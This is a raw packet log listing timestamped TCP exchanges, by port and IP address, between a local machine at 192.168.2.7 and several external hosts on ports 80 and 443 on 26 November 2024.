Nov 26, 2024 22:52:23.666132927 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.667182922 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.667227983 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.667294025 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.667337894 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.668379068 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.668425083 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.668461084 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.668504000 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.669552088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.669595003 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.669656992 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.669703960 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.670810938 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.670849085 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.670878887 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.670901060 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.671967030 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.672013998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.672046900 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.672092915 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.673166990 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.673212051 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.673284054 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.673329115 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.674361944 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.674408913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.674465895 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.674510956 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.675569057 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.675614119 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.675647974 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.675693989 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.676867008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.676914930 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.677046061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.677090883 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.677939892 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.677989006 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.678056002 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.678097963 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.748178959 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.748259068 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.748322964 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.748519897 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.748541117 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.748552084 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.748557091 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.755804062 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.755841970 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.755907059 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.756043911 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.756058931 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.757319927 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.757652998 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.757673025 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.758089066 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.758094072 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.192011118 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.192084074 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.192141056 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:24.193680048 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:24.193680048 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:24.193696976 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.193708897 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.213639975 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:24.213665962 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.213732958 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:24.214324951 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:24.214342117 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.879025936 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:24.926024914 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.100621939 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.100651026 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.101123095 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.101128101 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.331382990 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.371386051 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.381865025 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.381880999 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.382741928 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.382750988 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.384684086 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.384716034 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.384767056 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.385432005 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.385488033 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.385539055 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.385621071 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.385629892 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.385682106 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.386928082 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.386939049 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.387569904 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.387584925 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.387717009 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.387726068 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.430587053 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.438354015 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.438517094 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.438577890 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.482326984 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.501272917 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.544321060 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.781323910 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.781415939 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.781490088 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.956773043 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.956806898 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.957308054 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.957313061 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.957583904 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.957628012 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.957647085 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.957654953 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.959431887 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.959450960 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.959464073 CET	49726	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.959469080 CET	443	49726	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.960311890 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.960329056 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.960880995 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.960900068 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.961292982 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.961332083 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.961399078 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.961589098 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:25.961601973 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:25.989492893 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.989550114 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.989628077 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.990210056 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.990245104 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.990303993 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.993449926 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.993468046 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:25.993704081 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:25.993717909 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.069231033 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.102670908 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.102695942 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.103506088 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.103512049 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.306385040 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.306467056 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.306514978 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.306708097 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.306729078 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.306740999 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.306746006 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.307626009 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.307698011 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.307744026 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.307842970 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.307864904 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.307885885 CET	49728	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.307893038 CET	443	49728	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.310054064 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.310091972 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.310144901 CET	49743	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.310187101 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.310234070 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.310236931 CET	49743	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.310333014 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.310342073 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.310411930 CET	49743	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.310426950 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.427386045 CET	49677	443	192.168.2.7	20.50.201.200
Nov 26, 2024 22:52:26.545500994 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.545573950 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.545625925 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.545824051 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.545841932 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.545857906 CET	49729	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.545862913 CET	443	49729	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.548738956 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.548768044 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:26.548832893 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.549036026 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:26.549048901 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:27.125300884 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.125622034 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.125657082 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.127157927 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.127217054 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.128824949 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.129090071 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.130239010 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.130772114 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.130975008 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.130984068 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.131009102 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.131160975 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.131167889 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.131892920 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.131968975 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.132318974 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.132378101 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.132473946 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.132483006 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.132603884 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.132677078 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.132982969 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.133059978 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.133090973 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.175335884 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.176963091 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.176987886 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.177021980 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.177028894 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.177030087 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.181986094 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:27.182022095 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:27.182121038 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:27.205329895 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:27.205398083 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:27.218410969 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:27.218432903 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:27.223879099 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.223901033 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.315526009 CET	49700	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:27.321090937 CET	49746	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:27.321150064 CET	443	49746	104.98.116.138	192.168.2.7
Nov 26, 2024 22:52:27.321238041 CET	49746	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:27.325139999 CET	49746	443	192.168.2.7	104.98.116.138
Nov 26, 2024 22:52:27.325155020 CET	443	49746	104.98.116.138	192.168.2.7
Nov 26, 2024 22:52:27.414990902 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.415128946 CET	443	49735	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.415194988 CET	49735	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.435527086 CET	443	49700	104.98.116.138	192.168.2.7
Nov 26, 2024 22:52:27.721056938 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:27.721879959 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:27.721915960 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:27.722342014 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:27.722347021 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:27.749839067 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.753762007 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.753789902 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.756572962 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.756680965 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.757061958 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.757142067 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.757247925 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.757257938 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.801453114 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.849092960 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:27.849977016 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:27.850014925 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:27.850357056 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:27.850363970 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:27.992854118 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.992929935 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.992990971 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.993012905 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.993048906 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.993093014 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.993099928 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.995836020 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.995887041 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.995964050 CET	49734	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.995980024 CET	443	49734	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.997641087 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.997735023 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.997778893 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.997786999 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.997798920 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.997857094 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.997881889 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:27.997890949 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:27.997972012 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.011048079 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.018536091 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.018616915 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.018640995 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.032381058 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.032447100 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.032481909 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.067620039 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.068312883 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.068332911 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.068754911 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.068761110 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.083239079 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.117629051 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.161346912 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.161386013 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.191852093 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.191922903 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.192014933 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.192235947 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.192251921 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.192276001 CET	49738	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.192282915 CET	443	49738	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.197917938 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.197946072 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.198242903 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.198733091 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.198754072 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.199040890 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.199103117 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.199134111 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.201570988 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.201952934 CET	49743	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.201975107 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.202549934 CET	49743	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.202557087 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.203226089 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.203286886 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.203308105 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.217478991 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.217540979 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.217559099 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.226917028 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.226979971 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.226999998 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.236584902 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.236673117 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.236696005 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.248609066 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.248662949 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.248670101 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.262240887 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.262298107 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.262304068 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.281848907 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.281935930 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.281941891 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.288677931 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.288724899 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.288733006 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.296631098 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.296685934 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.296690941 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.308233023 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.308310032 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.308433056 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.308530092 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.308547020 CET	443	49739	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.308552980 CET	49739	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.308558941 CET	443	49739	13.107.246.63	192.168.2.7
